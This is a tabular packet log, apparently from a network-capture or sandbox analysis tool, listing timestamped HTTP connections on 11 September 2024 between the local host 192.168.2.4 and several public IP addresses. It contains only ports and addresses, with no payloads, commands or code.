Sep 11, 2024 16:22:17.819557905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819570065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819571018 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.819593906 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.830023050 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.830039024 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.830053091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.830102921 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.830140114 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.830441952 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.830452919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.830463886 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.830475092 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.830492020 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.830527067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.831877947 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.831890106 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.831902027 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.831949949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.831958055 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.831958055 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.831960917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.831973076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.831984997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.831991911 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832005978 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832016945 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832016945 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832050085 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832166910 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832175970 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832238913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832248926 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832258940 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832282066 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832282066 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832304001 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832314968 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832326889 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832335949 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832336903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832335949 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832382917 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832396030 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832427025 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832432985 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832432985 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832437992 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832448959 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832489014 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832489014 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832528114 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832539082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832549095 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832581043 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832622051 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832633018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.832634926 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832686901 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.832686901 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.841026068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841042995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841054916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841115952 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841154099 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841200113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841209888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841223001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841234922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841234922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841259003 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841315031 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841315985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841327906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841340065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841351986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841356039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841367960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841382980 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841398001 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841540098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841552019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841563940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841574907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841584921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841618061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841872931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841885090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841896057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.841913939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.841933012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842070103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842080116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842091084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842102051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842108965 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842113972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842129946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842155933 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842180014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842190981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842202902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842215061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842219114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842240095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842262030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842356920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842367887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842379093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842390060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842394114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842401981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842410088 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842413902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842427015 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842433929 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842438936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842447996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842451096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842474937 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842495918 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842611074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842622995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842633963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842647076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842652082 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842659950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842663050 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842670918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842680931 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842689991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842700005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842711926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842721939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842725039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842725992 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842735052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842746019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842751980 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842775106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842791080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842938900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842950106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842961073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842972040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842977047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842983961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.842992067 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.842995882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843008041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843018055 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843020916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843034029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843036890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843058109 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843080044 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843250036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843261003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843271017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843281984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843293905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843297958 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843305111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843316078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843322039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843326092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843341112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843348026 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843353987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843363047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843367100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843378067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843396902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843404055 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843409061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843419075 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843429089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843435049 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843440056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843451977 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843456984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843465090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843476057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843480110 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843488932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843499899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843502998 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843514919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843523026 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843533993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843561888 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843590975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843606949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843617916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.843626976 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843641996 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843658924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.843997955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.844010115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.844019890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.844031096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.844038010 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.844055891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.844068050 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.871210098 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871227026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871237993 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871299982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871310949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871323109 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871334076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871350050 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871356964 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871356964 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871381998 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871397972 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871437073 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871448040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871458054 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871469021 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871479988 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871488094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871488094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871490955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871503115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871512890 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871525049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871535063 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871535063 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871536970 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871568918 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871577024 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871577024 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871579885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871591091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.871630907 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871630907 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.871994019 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872033119 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872042894 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872071981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872071981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872091055 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872101068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872111082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872123003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872145891 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872169971 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872683048 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872694016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872704029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872730017 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872750998 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872769117 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872778893 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872788906 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872798920 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872817993 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.872826099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872826099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872848034 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.872869015 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.873567104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.873578072 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.873588085 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.873598099 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.873610020 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.873611927 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.873620987 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.873631001 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.873642921 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.873661041 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.873677015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.873677015 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.873689890 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.873698950 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.873698950 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.873702049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.873708010 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.873714924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.873724937 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.873730898 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.873730898 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.873764038 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.873794079 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.873802900 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.873830080 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.873855114 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.873996973 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.874007940 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.874017954 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.874036074 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.874047995 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874047995 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874072075 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.874074936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.874085903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.874094963 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.874104977 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.874108076 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.874118090 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.874129057 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874139071 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874151945 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.874151945 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.874186993 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874187946 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874200106 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874212027 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874222040 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874249935 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874249935 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874249935 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874291897 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874294996 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874303102 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874314070 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874325037 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874332905 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874336958 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874346018 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874350071 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874366999 CEST	49750	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874378920 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874393940 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874550104 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874573946 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874689102 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.874737978 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.874999046 CEST	49751	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.875010014 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.875020981 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.875031948 CEST	80	49737	31.41.244.9	192.168.2.4
